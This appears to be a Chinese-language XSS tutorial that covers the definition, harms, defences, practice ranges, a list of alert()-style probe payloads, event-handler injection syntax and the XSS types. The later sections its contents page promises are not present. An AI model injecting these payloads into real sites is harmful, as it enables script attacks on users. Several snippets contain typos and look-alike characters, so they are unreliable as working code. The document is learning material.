[Web安全网络安全]-XSS跨站脚本攻击

文章目录：

一：前言

1.定义

2.漏洞出现的原因

3.鉴别可能存在XSS漏洞的地方

4.攻击原理

5.危害

6.防御

7.环境

7.1 靶场

7.2 自动扫描工具

7.3 手工测试工具

8.payload是什么

二：常用的标签语法

三：XSS的分类

反射型get

存储型post

DOM型

四：漏洞利用

1.盗取cookie

2.弹窗钓鱼

3.获取键盘记录

4.盲打

五：绕过*

闭合input标签绕过

鼠标事件过滤

空格绕过

大小写绕过防护

双写绕过防护

标签绕过防护

引号过滤绕过

括号绕过

字符拼接绕过

编码绕过

HTTPOnly绕过

注释http://绕过

隐藏的传参闭合绕过

注入绕过

htmlspecialchars函数

六：同源和跨域

1.同源

2.跨域

cors跨域

jsonp跨域

七：XSS-labs靶场练习

Less1：url传参

Less2：闭合input标签

Less3：onclick onfocus onblur事件绕过

Less4：onclick onfocus onblur事件绕过闭合

Less5：a href 标签闭合绕过

Less6：大小写绕过

Less7：双写绕过

Less8：unicode属性值编码绕过

Less9：注释http://绕过

Less10：隐藏的传参闭合绕过

Less11：Referer注入

Less12：User Agent注入

Less13：cookie注入

Less14：题有问题

Less15：ng-include文件包涵

Less16：url编码-标签绕过换行符替换空格绕过

Less17_18：embed标签-鼠标事件闭合绕过

Less19_20：过时

一：前言

1.定义

XSS全称(Cross site scripting)跨站脚本攻击，为了避免和CSS层叠样式表名称冲突，所以改为了XSXSS是指攻击者在网页中嵌入客户端脚本代码，通常是javascript编写的危险代码（也可以是ActionScript VBScript）
当用户使用浏览器浏览网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的XSS属于客户端攻击，受害者是用户（如果是管理人员也可以进行服务端攻击）

2.漏洞出现的原因

程序对输入和输出的控制不够严格：在输入到前端时被浏览器当作有效代码解析执行，从而产生危害

3.鉴别可能存在XSS漏洞的地方

鉴别（输入输出的地方）：输出的形式是以标签的形式进行展示、弹窗、用户交互

4.攻击原理

第一步：攻击者发现正常网站的xss漏洞，注入一段js代码比如location.href="钓鱼网站"第二步：用户通过客户端-浏览器访问这个网站的页面第三步：服务端-服务器响应了html的页面，这里面包含攻击者的js代码第四步：浏览器加载html文件过程中，自动运行了攻击者的js代码，导致浏览器又继续访问了钓鱼网站用户输入账号密码发给了钓鱼网站第五步：钓鱼网站将数据保存起来盗取信息

5.危害

1.获取用户信息;(如浏览器信息、ip地址、cookie信息等)2.钓鱼;(利用xss漏洞构造出一个登录框，骗取用户账户密码，提示登录过期，模拟一个网站的登录框，将用户名、密码发送到攻击者服务器)3.注入木马或广告链接;(有些在主站注入非法网站的链接，对公司的声誉有一定的影响4.后台增删改网站数据等操作:(配合CSRF漏洞，骗取用户点击，利用js拟浏览器发包)5.xss蠕虫(微博蠕虫:只要看过某人的微博就自动关注某人;贴吧蠕虫:看过某个帖子就自动回复这个帖子)6.有局限性的键盘记录7.挂马：挂马是指‌黑客通过各种手段，包括SQL注入、网站敏感文件扫描、服务器漏洞、网站程序0day等获得网站管理员账号，然后登录网站后台，通过数据库“备份/恢复”或者上传漏洞获得一个‌webshell

6.防御

黑名单:过滤特殊符号及字符如<、>、%、#、/、(、)、script、svg、object、on事件等白名单:只允许特定类型或符号编码及转义输出在标签或属性中进行HTML编码输出在script标签或事件中进行JavaScript编码输出在url中进行url编码。cookie中设置httponly：setcookie将httponly选项设置为true，防范cookie劫持确保执行脚本来源可信：开发者明确告诉客户端，哪些外部资源可以加载和执行(CSP策略 )不使用有缺陷的第三方库

7.环境

7.1 靶场

pikachu靶场：是一个网络安全训练平台，旨在模拟真实世界中的网络攻击和防御场景，帮助用户提高网络安全技能和知识

XSS-labs：是一个专门用于学习和练习跨站脚本攻击(XSS)技术的在线平台

XSS Game：XSS靶场练习

蓝莲花：XSS靶场练习

xss平台：在线平台

7.2 自动扫描工具

APPscan、AwVS、xray等大型漏扫工具、xsstrike等自动化小工具

7.3 手工测试工具

Burpsuite、firefox(hackbar)、360开发的一款浏览器插件:XSSER XSSF，不太好用昂

8.payload是什么

‌Payload在网络安全中指的是攻击者在利用漏洞时，通过向受攻击的系统发送的恶意代码或指令，用于实现攻击目的的数据包

<script>alert('Zer0Lulz")</script><SCRiPt>AIErT('XSS)</ScRiPt>"><script>alert('XSS')</script>"><SCRiPt>AIErT(XSS')</SCRiPt>=><><script>alert('XSS")</script>=><><ScRiPt>AlErT(XSS’)</ScRiPt>="><script>alert('Xss’)</script>="><ScRiPt>AIErT(XSS")</ScRiPt>='><script>alert('XSS')</script>='><ScRiPt>AIErT(XSS"</ScRiPt>"><<script>alert('XSS’)</script>"><<ScRiPt>AIErT(XSS"</ScRiPt>='><<script>alert(XSS')</script>='><<ScRiPt>AIErT('XSS")</ScRiPt><script>alert(String.fromCharCode(88, 83, 83)</script><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>><script>alert(String.fromCharcode(88,83,83)</script>><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>=><><script>alert(String.fromCharCode(88, 83, 83)</script>=><><ScRiPt>AlErT(String.fromCharCode(88,83,83)</ScRiPt>="><script>alert(String.fromCharCode(88, 83, 83)</script>="><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>='><script>alert(String.fromCharCode(88,83,83)</script>='><ScRiPt>AlErT(String.fromCharCode(88, 83, 83)</ScRiPt>

'><img src="#" onmouseover="alter('xss')">

二：常用的标签语法

`<script>`	<script>alert("xss");</script>
`<img>`	<img src=1 οnerrοr=alert("xss");> onerror事件是javascript中的事件之一。只要页面中出现脚本错误，就会产生onerror事件
<a>	'"><a herf='javascript:alter(123)'>百度</a>
`<video>`	<video><source οnerrοr="alert(1)">
`<audio>`	<audio src=x οnerrοr=alert("xss");>
`<input>`	<input οnfοcus="alert('xss');">
`<select>`	<select οnfοcus=alert(1)></select>
`<iframe>`	<iframe οnlοad=alert("xss");></iframe>
<details>	使用open属性触发ontoggle事件，无需用户去触发（可展开和折叠的内容区域） <details open οntοggle="alert('xss');">
`<textarea>`	<textarea οnfοcus=alert("xss"); autofocus>

三：XSS的分类

反射型get

与服务端交互，但是交互的数据一般不会被存在数据库中，一次性，所见即所得，一般出现在查询类页面等

（中低威漏洞）——>可用于钓鱼、引流、配合其他漏洞如CSRF等

'"><script>confirm(1)</script>    //'">完成闭合符号

xx'</a><script>confirm(1)</script><a>    //对话框确认取消

xx' onclick="alter(2)">

存储型post

交互的数据会被存在数据库中，永久性存储，一般出现在留言板，注册等页面

（高威漏洞）——>攻击范围广，流量传播大，可配合其他漏洞

<?php $name=$_GET['name'];echo "welcome $name<br>";
?>

DOM型

不与后台服务器产生数据交互，通过JS代码操作DOM文档对象模型(html文件)操作前端代码输出的时候产生的漏洞

DM操作：html标签元素节点操作、修改标签属性

DOM型：大部分属于反射型、少部分属于存储型

（中低威漏洞）——>配合长度大小不受限制

document.referer
window.name
location
innerhtml
document.write

非持久型XSS攻击

非持久型xss攻击是一次性的，仅对当次的页面访问产生影响

要求用户访问一个被攻击者篡改后的链接，用户访问该链接时

被植入的攻击脚本被用户游览器执行，从而达到攻击目的

持久型XSS攻击

持久型xss，会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在

DOM型XSS

DOM型XSS：可能是持久型、也可能是非持久型